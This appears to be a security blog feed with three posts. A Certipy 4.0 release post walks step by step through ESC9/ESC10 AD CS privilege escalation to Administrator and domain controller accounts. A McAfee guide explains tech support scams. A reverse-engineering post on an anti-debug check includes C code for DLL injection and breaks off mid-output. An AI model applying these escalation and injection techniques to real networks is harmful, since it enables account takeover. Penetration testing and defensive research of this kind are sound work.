The BloodHound team has delivered many impressive updates, and according to their release post on version 4.1 and version 4.2, Active Directory Certificate Services (AD CS) abuse primitives are on their road map and coming soon. However, it’s been 6 months since the release of version 4.1, so I decided to implement it myself into the BloodHound GUI. This also means that if you want to use the original version of the BloodHound GUI with Certipy, you’ll have to pass the -old-bloodhound option to Certipy’s find command, as the new BloodHound data output from Certipy is only compatible with the forked GUI. The forked version is based on the latest version of BloodHound (4.2.0, August 3, 2022) and requires neo4j ≥ 4.4.0. There’s also a forked version of BloodHound 4.1.1, which doesn’t require neo4j ≥ 4.4.0.

Now, let’s see a graph.

This graph was drawn by simply selecting the CA node and then clicking on “See Enabled Templates”, as shown below.

It’s of course also possible to easily view the object controllers of the CA like you would do with any other object.

The same is possible for certificate templates. Simply select the template and click “See Certificate Authorities”.

Want to see enrollment rights or object controllers? Also one click away.

This also comes with prebuilt queries so you don’t have to mess with your custom queries.

Even though the forked BloodHound GUI was mainly focused on PKI integration, I decided to add a few features that I personally like. For instance, you can now hover your mouse over a query and click the little “Copy” button to copy the query to your clipboard.

Once you’ve copied your query, you can paste and edit it in the new multi-lined “Raw Query” text area.

These are just some small features I personally enjoy, and I might add new ones. The source code can be found at https://github.com/ly4k/BloodHound/ and prebuilt binary releases can be found here. I’ll regularly pull commits from the upstream version so you don’t miss out on those features. If you have any additions, feel free to open an issue or create a pull request.

Old Is New Again

Now, back to Certipy. I have reintroduced and improved some old features of Certipy that I previously removed related to Certipy’s find command. For text and JSON based output, Certipy will now check for ESC1, ESC2, ESC3, ESC4, and the new ESC9 on certificate templates, and ESC6, ESC7, and ESC8 on certificate authorities based on the current user’s nested group memberships. Furthermore, if ms-DS-MachineAccountQuota is not 0 (default: 10) then Certipy will act as if the current user is also a member of the Domain Computers group, since the user will most likely be able to add a new domain computer. In addition to this, the find command now accepts the -vulnerable parameter to only show vulnerable certificate templates, and -hide-admins to hide administrators from the permissions for a cleaner output. These options only apply to text and JSON based output (-text and -json) and does not affect the BloodHound data.

For those who want a bit more stealth, the find command has also received the new -dc-only option to only connect the domain controller (DC). This means that Certipy will not connect to the CA to check for permissions, Web Enrollment, and request flags. This will affect the BloodHound data, and as shown below, Certipy cannot determine permissions, Web Enrollment, and request flags for the CA when this option is set — but it does not affect certificate templates since all this information is stored on the DC.

New Authentication Methods

Scannel (LDAPS)

Our good friends at FalconForce recently published a blog post on how to detect “UnPACing” — the technique used by Certipy and Rubeus during PKINIT Kerberos authentication to retrieve the NT hash. In the Certified Pre-Owned whitepaper, the authors, Will Schroeder and Lee Christensen, mention that Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). One protocol that supports client authentication via Schannel is LDAPS (LDAP over SSL/TLS) — assuming AD CS has been setup. As such, this is exactly what I’ve implemented into Certipy.

Once you’ve obtained your shiny new certificate, run the auth command like you’d usually do, but this time, specify the -ldap-shell option to drop into an interactive LDAP shell with a limited set of commands that should be enough to aid you in the right direction, for instance configuring Resource-based Constrained Delegation, adding a user to a group, reading LAPS, and more.

This command will connect to the domain controller, and instead of authenticating via Kerberos, Certipy will connect to LDAP and present the certificate during the StartTLS upgrade. It is worth noting that the type of certificate that can be used depends on the CertificateMappingMethods registry key.

This new feature is also relevant for ESC10 (see later in the post).

Windows Integrated Authentication (SSPI)

Now, imagine you just got code execution on a domain-joined machine. You could run your C2 agent, open a SOCKS proxy connection, and then run Certipy through that. The problem in this scenario is that you don’t know the credentials of your current user context. This has happened to me a few times. Instead, let me introduce Certipy’s new SSPI integration.

The first step is to get Certipy on your target machine. You could install Python and then Certipy, or you could just use something like PyInstaller (pyinstaller ./Certipy.spec) to pack it into an executable. Once you’ve done that, you can run all your usual commands, but instead of specifying username, password, and domain, you can just pass the -sspi option. This will make Certipy use your current user’s domain context for authentication by using Windows APIs to retrieve Kerberos tickets.

The -sspi flag can be used on all commands that require user credentials, e.g. find.

Now, -sspi is not the only new flag related to Windows authentication. The auth command now also accepts -print and -kirbi to print the ticket or save the ticket as Kirbi format — both outputs ready to be used for Rubeus. On top of this, if you would just like to inject your newly acquired domain administrator ticket into your current logon session, you can do that with the -ptt flag.

The same thing can be achieved by using -print with the auth command, and then passing the Base64 ticket to Certipy’s new ptt command in the -ticket option. The Base64 ticket can also be used for Rubeus.

The new ptt command can be used to inject tickets from a file or command line, but it can also be used to request a new TGT using credentials and inject the ticket into your logon session. This is useful if you’re not in a domain context and you don’t want to write the username, password, and domain for each command.

Change of Parameters

Certipy has also received a minor change on how a username, domain, password and target are specified. The username and domain is now specified in -username user@domain, and the password is specified in -password, whereas the target host can be specified in -target if required. Otherwise, the target will be derived from the domain. This change is because of the parsing logic related to usernames, password, domains, and targets in a single string that could prevent some usernames and passwords from being parsed correctly, for instance if the sAMAccountName or password contains an @ symbol.

New Request Methods

Web Enrollment

Some users of Certipy reported that during an engagement, they could only request certificates through the web interface and not via RPC. As such, I have implemented web based enrollment into Certipy for that exact reason. Currently, it supports both HTTP and HTTPS, but only with password or NTLM authentication. To request a certificate through the web interface, simply pass the -web option to your usual req command.

Double SAN

A feature request was sent to me to allow specifying a DNS host name instead of a UPN for the old -alt parameter. As such, the -alt parameter has been removed in favor of the two new parameters -upn and -dns. And it turns out that you can even specify both parameters in a single request.

Certipy will now print out all the account identifications found in the certificate. Now, what would happen if we tried to authenticate with this certificate?

Well, Certipy will now ask you which identification you wish to use. So can we have one certificate with identification for multiple users?

Yes, we can. As shown above, two different NT hashes were returned depending on the identification used. It is of course also possible to only specify a single identification.

Key Archival and Key Size

A user reported that a template had a different minimum key size than the one that was generated by Certipy. This will yield the error CERTSRV_E_KEY_LENGTH. Certipy now accepts the -key-size parameter to specify a different key size, as shown below.

While this was rather trivial to implement, another user reported that a certificate template was configured to require key archival. This is specified as CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL in the msPKI-Private-Key-Flag of the certificate template. Key archival means that the enrollee must send its private key during the request such that it can be stored in the CA database and later recovered by a Recovery Agent. For this, Microsoft requires that the private key will be embedded in a CMC (Certificate Management over CMS) request rather than a usual PKCS10 request. After reading the RFC and the sparse Microsoft-specific documentation, Certipy can finally overcome this issue.

This is a whole different type of request and protocol, that includes retrieving the CA Exchange Certificate, crafting undocumented ASN1 structures, encrypting the private key, and a few more headaches. Nonetheless, I wouldn’t want this single flag to stand in my (or your) way to becoming domain administrator during an engagement.

Other Features

You might also encounter some other unmentioned features — which might not seem that useful — that is merely a result of my own research. For instance, it’s possible to renew a certificate using an old certificate with the -renew parameter. Since I had already implemented all the structures and functionality, I thought I’d just add it to Certipy.

New Escalations

To understand the new escalations, we must first understand Microsoft’s patch for CVE-2022–26923.

My previously reported AD privilege escalation vulnerability “Certifried” (CVE-2022–26923) actually contained four different cases. The case described in my previous blog post was that it was possible to simply duplicate the DNS host name of a machine account. This would work from a low-privileged user in a default AD CS environment. However, I also reported three other closely related vulnerabilities that required a GenericWrite permission over a low-privileged account. These were not described in the previous blog post, but here’s a brief summary of the other cases:

  • Overwrite userPrincipalName of user to be <sAMAccountName> of target to hijack user account since the missing domain part does not violate an existing UPN
  • Overwrite userPrincipalName of user to be <sAMAccountName>@<domain> of target to hijack machine account since machine accounts don’t have a UPN
  • Delete userPrincipalName of user and overwrite sAMAccountName to be <sAMAccountName> without a trailing $ to hijack a machine account

These three cases are all related to how a certificate is mapped to an account during authentication. First of all, a missing domain part of the UPN doesn’t matter. Secondly, if the KDC can’t find an account where the userPrincipalName matches the UPN in the certificate, it will try to find an account where the sAMAccountName matches the UPN in the certificate. And lastly, if the userPrincipalName property doesn’t exist for the enrollee during the certificate request, it will build the UPN in the certificate based on the sAMAccountName. On top of this, if the KDC cannot find an account where the sAMAccountName matches the UPN in the certificate, it will simply add a $ at the end and try again, as we know from CVE-2021–42287/CVE-2021–42278.

So how did Microsoft fix this? First of all, they made sure that the “Validated write to DNS host name” permission on a machine account now only accepts a value that matches the sAMAccountName property. This means that it is still possible to duplicate the DNS host name of a domain controller (or another machine account) if you have GenericWrite over a machine account, as shown below.

This was tested against a fully patched domain controller where john only had GenericWrite over johnpc$.

On top of this, Microsoft implemented the new szOID_NTDS_CA_SECURITY_EXT security extension for issued certificates, which will embed the objectSid property of the requester. Furthermore, Microsoft created the new registry key values (HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel) CertificateMappingMethods and (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc) StrongCertificateBindingEnforcement.

These security updates also broke our beloved ESC6. However, after the patch for CVE-2022–26923, Windows admins started reporting issues that certificated based authentication no longer worked in their environments due to the new security hardenings. On “/r/sysadmin” on Reddit, Windows admins shared workarounds for the issue by changing the values of the registry keys to be the de facto old values (just old values from now on). On top of this, Microsoft’s official workaround was to either manually map all the certificates to each user or to set the CertificateMappingMethods to the old value. Changing these registry keys to the old values will reintroduce ESC6 and introduce the new ESC10. So why are we interested in how a certificate is mapped to a user?

Certificate Mappings

As mentioned earlier, Active Directory supports certificate authentication over two protocols by default: Kerberos and Secure Channel (Schannel). As such, the two new registry keys StrongCertificateBindingEnforcement and CertificateMappingMethods correspond to Kerberos and Schannel, respectively.

Certificates can either be mapped via implicit or explicit mappings. For explicit mappings, the altSecurityIdentities property on an account object is configured to contain identifiers for a certificate, for instance the issuer and serial number. This way, when a certificate is used for authentication via explicit mapping, it must be signed by a trusted CA and then match the values specified in the altSecurityIdentities. On the other hand, when a certificate is used for authentication via implicit mapping, then the information from the certificate’s Subject Alternative Name (SAN) extension is used to map the certificate to an account, either the UPN or DNS field.

However, Schannel and Kerberos don’t use the same techniques for mapping a certificate implicitly. Let’s take a look at how a certificate is mapped implicitly for each protocol.

Kerberos Certificate Mapping

The new registry key value (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc) StrongCertificateBindingEnforcement is by default set to 1 now. Before the patch, this key did not exist, but the old value was 0, i.e. strong certificate binding was not enforced. This value can either be set to 0, 1, or 2.

If the value is 0, then no strong certificate mapping checks are done. This means that the new szOID_NTDS_CA_SECURITY_EXT certificate extension isn’t used for anything even though it’s embedded in the certificate — so certificate mapping in Kerberos is exactly as before the patch. Setting this value to 0 is not recommended by Microsoft, but according to BleepingComputer, this value fixed the authentication issues for a Windows admin.

If this value is 1 (default value after patch), the KDC checks if there is a strong certificate mapping (explicit). If yes, authentication is allowed. Otherwise, the KDC will check if the certificate has the new SID extension and validate it. If this extension is not present, authentication is allowed if the user account predates the certificate.

If this value is 2, the KDC checks if there’s a strong certificate mapping. If yes, authentication is allowed. Otherwise, the KDC will check if the certificate has the new SID extension and validate it. If this extension is not present, authentication is denied.

Microsoft is planning on setting this value to 2 by default on May 9, 2023 and removing the registry key value, such that a certificate must have a strong explicit mapping or the szOID_NTDS_CA_SECURITY_EXT extension to be used for authentication via Kerberos.

So, let’s say that the value is set to 0; how is a certificate then implicitly mapped? For this blog post, we are not interested in explicit mapping (altSecurityIdentities). When a certificate is used for authentication via Kerberos, the KDC will first verify that it is issued by a trusted CA and that the certificate can be used for client authentication. For implicit mappings, the KDC will then try to map the certificate to an account either via the UPN or DNS SAN value.

If the certificate contains a UPN with the value [email protected], the KDC will first try to see if there exists a user with a userPrincipalName property value that matches. If not, it checks if the domain part corp.local matches the Active Directory domain. If there is no domain part in the UPN SAN, i.e. the UPN is just john, then no validation is performed. Next, it will try to map the user part john to an account where the sAMAccountName property matches. If this also fails, it will try to add a $ to the end of the user part, i.e. john$, and try the previous step again (sAMAccountName). This means that a certificate with a UPN value can actually be mapped to a machine account.

If the certificate contains a DNS SAN and not a UPN SAN, then the KDC will split the DNS name into a user part and a domain part, i.e. johnpc.corp.local becomes johnpc and corp.local. The domain part is then validated to match the Active Directory domain, and the user part will be appended by a $ and then mapped to an account where the sAMAccountName property matches, i.e. johnpc will be looked up as johnpc$.

This certificate mapping is explained in MS-PKCA 3.1.5.2.1 and the DNS mapping is explained a bit more in depth in my previous blog post on CVE-2022–26923.

If the new registry key value StrongCertificateBindingEnforcement is set to 1 or 2, then the szOID_NTDS_CA_SECURITY_EXT certificate extension will be used to map the certificate to an account where the objectSid property matches. If the value is 1 and the extension is not present, then the mapping is performed as if the value was set to 0.

Schannel Certificate Mapping

Schannel will map the certificate a little bit differently than the KDC would. Let’s take a look at the possible values for the CertificateMappingMethods registry key value. This value is a DWORD that supports multiple values as a bit set. The new default value is 0x18 (0x8 and 0x10), whereas the old value was 0x1f (all of the below values).

  • 0x0001 — Subject/Issuer certificate mapping (explicit)
  • 0x0002 — Issuer certificate mapping (explicit)
  • 0x0004 —SAN certificate mapping (implicit)
  • 0x0008 — S4U2Self certificate mapping (Kerberos)
  • 0x0010 — S4U2Self explicit certificate mapping (Kerberos)

So, Schannel actually doesn’t support the new szOID_NTDS_CA_SECURITY_EXT extension directly. Instead, it will use S4U2Self to map the certificate via Kerberos, which then supports the szOID_NTDS_CA_SECURITY_EXT extension. However, this is performed as the last step if the other supported mappings fail. This means that if certificate contains a UPN or DNS name, and the CertificateMappingMethods contains the 0x4 value, then the szOID_NTDS_CA_SECURITY_EXT certificate extension and StrongCertificateBindingEnforcement registry value will have absolutely no influence on the certificate mapping via Schannel. This is a bit more interesting to us, since Microsoft officially suggested setting this registry key value to the old value 0x1f (all of the above methods) as an alternative to manually mapping all certificates if the security updates caused authentication issues: “If you experience authentication failures with Schannel-based server applications, we suggest that you perform a test. Add or modify the CertificateMappingMethods registry key value on the domain controller and set it to 0x1F and see if that addresses the issue.”

Now that we understand the patch for CVE-2022–26923, let’s look at the new ESCs and some examples.

ESC9 — No Security Extension

Description

ESC9 refers to the new msPKI-Enrollment-Flag value CT_FLAG_NO_SECURITY_EXTENSION (0x80000). If this flag is set on a certificate template, the new szOID_NTDS_CA_SECURITY_EXT security extension will not be embedded. ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

Conditions:

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

Abuse

Please see the “Examples” section for a practical example. To abuse this misconfiguration, the attacker needs GenericWrite over any account A that is allowed to enroll in the certificate template to compromise account B (target).

ESC10 — Weak Certificate Mappings

Description

ESC10 refers to two registry key values on the domain controller.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods. Default value 0x18 (0x8 | 0x10), previously 0x1F.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement. Default value 1, previously 0.

Case 1

StrongCertificateBindingEnforcement set to 0

Case 2

CertificateMappingMethods contains UPN bit (0x4)

Abuse

Please see the “Examples” section for practical examples for each case. To abuse these misconfigurations, the attacker needs GenericWrite over any account A that is allowed to enroll in a certificate with client authentication to compromise account B (target).

Unfortunately, these registry keys cannot be read by a low-privileged user remotely. However, if you ever find yourself in a scenario, where you have GenericWrite over any account, it might be worth trying each abuse case nonetheless.

Examples

ESC9

Conditions:

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU

Requisites:

  • GenericWrite over any account A to compromise any account B

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise [email protected]. [email protected] is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is [email protected] and not Administrator.

Now, we request the vulnerable certificate template ESC9. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator and that the issued certificate contains no “object SID”.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName [email protected].

Now, if we try to authenticate with the certificate, we will receive the NT hash of the [email protected] user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

And voilà.

ESC10(Case 1)

Conditions:

  • StrongCertificateBindingEnforcement set to 0

Requisites:

  • GenericWrite over any account A to compromise any account B

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise [email protected]. The abuse steps are almost identical to ESC9, except that any certificate template can be used.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is [email protected] and not Administrator.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName [email protected].

Now, if we try to authenticate with the certificate, we will receive the NT hash of the [email protected] user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

ESC10(Case 2)

Conditions:

  • CertificateMappingMethods contains UPN bit flag (0x4)

Requisites:

  • GenericWrite over any account A to compromise any account B without a userPrincipalName property (machine accounts and built-in domain administrator Administrator)

In this case, [email protected] has GenericWrite over [email protected], and we wish to compromise the domain controller [email protected].

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be [email protected].

This is not a constraint violation, since the DC$ computer account does not have userPrincipalName.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName ([email protected]).

Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new -ldap-shell option comes in.

If we try to authenticate with the certificate and -ldap-shell, we will notice that we’re authenticated as u:CORP\DC$. This is a string that is sent by the server.

One of the available commands for the LDAP shell is set_rbcd which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller.

Alternatively, we can also compromise any user account where there is no userPrincipalName set or where the userPrincipalName doesn’t match the sAMAccountName of that account. From my own testing, the default domain administrator [email protected] doesn’t have a userPrincipalName set by default, and this account should by default have more privileges in LDAP than domain controllers.

Conclusion

In this blog post, we looked at some new features of Certipy and the forked BloodHound GUI that I changed to have full PKI support. Furthermore, we looked at the new ESCs — which are not as juicy as ESC1 or ESC8 — but I have seen many environments where everyone or a specific group had GenericWrite over a single user or computer. On top of this, we might see more and more admins change these registry key values or enabling the vulnerable flag on a template — simply because it makes thing work — just like ESC6.

If you have any questions, feel free to message me on Twitter (@ly4k_). In the next blog post, we’ll look at two Windows privilege escalation vulnerabilities in the Print Spooler (CVE-2022–29104 & CVE-2022–30138). This is an interesting technique that might work for other services, and the NSA was subsequently acknowledged for reporting these vulnerabilities as well. A presto!


Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and more! was originally published in IFCR on Medium, where people are continuing the conversation by highlighting and responding to this story.

Technical Support Scams – What to look out for

2 August 2022 at 23:22

Authored by Oliver Devane

Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.

Advertising – The Lure

For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.

Scammers behind tech support scams can create very convincing websites which mimic the official ones.

Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.

These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.

 

The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.

Gaining Access

The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.

The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.

A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.

It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:

  • TeamViewer
  • LogMeIn
  • AnyDesk
  • Aweray (Awesun)

Activity once the connection is established

If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.

Here are some examples we have seen scammers use:

Title

Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.

Directory enumeration

Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will  display  all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:

What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:

Tree

A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:

Tech Support Phone Number

Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below

Software Installation

Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.

For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.

Some example filenames are:

  • Firewall security.exe
  • Network firewall.exe
  • Network security.exe
  • Email security.exe
  • Banking security.exe

Payment

The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity.  As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.

Signs to look out for

This section contains a few signs to look out for which may indicate that you are interacting with a scammer.

Rude/Short

Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.

Leave the computer on

Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.

Created files being detected

Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.

What to do

The following steps should be performed if you believe you are being scammed as part of a tech support scam.

Disconnect the machine from the internet

If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It  can be powered down by pressing the power button.

Hang up

Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.

Remove the remote-control software

If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.

The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.

Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button.  Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.

Check the Antivirus Software for any exclusions

Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.

A guide for McAfee customers is available here

Update Antivirus Software and perform a full scan

After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.

Change passwords

After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.

Conclusion

This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.

The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:

McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.

The post Technical Support Scams – What to look out for appeared first on McAfee Blog.

Discover an AntiDebug feature: a newbie approach

By: s1ckb017
30 July 2022 at 00:00

This blogpost shows the way I understod where the anti debug check were implemented with a basic, I would say, tending to 0, knowledge on Windows Internals. I started from a problem: the target process I wanted to attach was protected by a kind of watchdog. Did not know if the watchdog was in kernel space or in user space. During this journey, I learnt something about Windows internals, x64dbg/titan engine internals and improved windbg usage.

Problem: Access DENIED to process

I wanted to debug a service running with elevated privilege, i.e. SYSTEM, but this seems to be impossible even using x32dbg run as SYSTEM user.

Running x32dbg with system privileges and attaching to the process results in an ACCESS DENIED error. The PID to debug is 4056.

So, to understand where the debugger received the ACCESS DENIED, I started digging into the procedure used by the debugger to attach and debug a process.

First thing, I did, is to put a bp on ntOpenProcess(). I was pretty sure that ntOpenProcess() was the first involved routine. In the following image is clear that the debugger under debug is opening the target process.



The ntOpenProcess() returns a valid handle, as shown in the image, this suggested that the process is correctly opened.


So, then I cross searched in titan engine and in the x64 debugger source code where this call happens and what there is after. After some research I found that the failing function was DbgUiDebugActiveProcess_(IN HANDLE Process)), i.e. the systemcall NtDebugActiveProcess() returned ACCESS DENIED


This is a function exported by ntdll.dll and ends directly in kernel space without any intermediate. Moreover, checking the target binary statically seems that did not exists any anti debug trick implemented inside. </br>

` OpenProcess() returns no error + NtDebugActiveProcess() return ACCESS DENIED + No anti debug in target binary -> check most likely in kernel space `
Just to see if some of these functions is called and cause an access denied.

Test case

At this point, I focused my research on kernel space in order to check why that routine return ACCESS DENIED even though the process has been correctly opened. If exists some anti debug trick in kernel space that would not allow to debug a process then it would deny any injection too. So, to have a better test case I wrote a small snippet in C that open a process and inject a DLL.

	HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, false, pId);
	if (h) {
		printf("[+] Process %d Opened handle no. %08x\n", pId, (unsigned int)h);
		LPVOID LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
		printf("[+] LoadLibraryA address: %p\n", LoadLibAddr);
		getchar();
		LPVOID dereercomp = VirtualAllocEx(h, NULL, strlen(dllName)+1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
		if (dereercomp == NULL)
		{
			fprintf(stderr, "[-] Impossible allocate new memory in the target process %d\n", GetLastError());
			return 1;
		}
		printf("[+] Alloced space on: %p\n", dereercomp);
		if (!WriteProcessMemory(h, dereercomp, dllName, strlen(dllName), NULL)) {
			fprintf(stderr, "[-] Impossible writing in process memory %d\n", GetLastError());
			return 1;
		}
		else {
			printf("[+] Process memory correctly written\n");
		}
		HANDLE asdc = CreateRemoteThread(h, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, dereercomp, 0, NULL);
		printf("[+] Remote Thread Output: %d %d\n", asdc, GetLastError());
		WaitForSingleObject(asdc, INFINITE);
		VirtualFreeEx(h, dereercomp, strlen(dllName), MEM_RELEASE);
		CloseHandle(asdc);
		CloseHandle(h);
		return 0;
	}


Running the test case against the process pid from an elevated powershell results in ACCESS DENIED too on VirtualAllocEx() routine.



Windows Kernel Debugging: searching for the anti debug


At this point, I started to debug the windows kernel using windbg, so I decided, firstly to inspect a bit the target process.

kd> !process 0xfd8
Searching for Process with Cid == fd8
PROCESS ffffc20239807080
    SessionId: 0  Cid: 0fd8    Peb: 00256000  ParentCid: 0270
    DirBase: 1ce063000  ObjectTable: ffff89020ea49180  HandleCount: 357.
    VadRoot ffffc2023704ee50 Vads 163 Clone 0 Private 1876. Modified 125. Locked 0.
    DeviceMap ffff890205035ae0
    Token                             ffff89020e225060
    ElapsedTime                       17:06:01.856
    UserTime                          00:00:00.312
    KernelTime                        00:00:00.187
    QuotaPoolUsage[PagedPool]         628552
    QuotaPoolUsage[NonPagedPool]      23512
    Working Set Sizes (now,min,max)  (56976, 50, 345) (227904KB, 200KB, 1380KB)
    PeakWorkingSetSize                84807
    VirtualSize                       322 Mb
    PeakVirtualSize                   419 Mb
    PageFaultCount                    126060
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      11044


According to flags, BeingDebugged and NtGlobalFlag, contained in the process environment block data structure, seems that the process is not currently under debug of another process.

A great article on this topic is provided by CheckPoint Research

kd> .process /p ffffc20239807080; !peb 00256000
Implicit process is now ffffc202`39807080
.cache forcedecodeuser done
PEB at 0000000000256000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         0000000000400000
    NtGlobalFlag:             0
    NtGlobalFlag2:            0
    Ldr                       00007fff9f8ba4c0
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00000000005627a0 . 0000000000562ff0
    Ldr.InLoadOrderModuleList:           0000000000562910 . 0000000000562fd0
    Ldr.InMemoryOrderModuleList:         0000000000562920 . 0000000000562fe0

kd> dt _peb 0x0256000
win32k!_PEB
   +0x000 InheritedAddressSpace : 0 ''
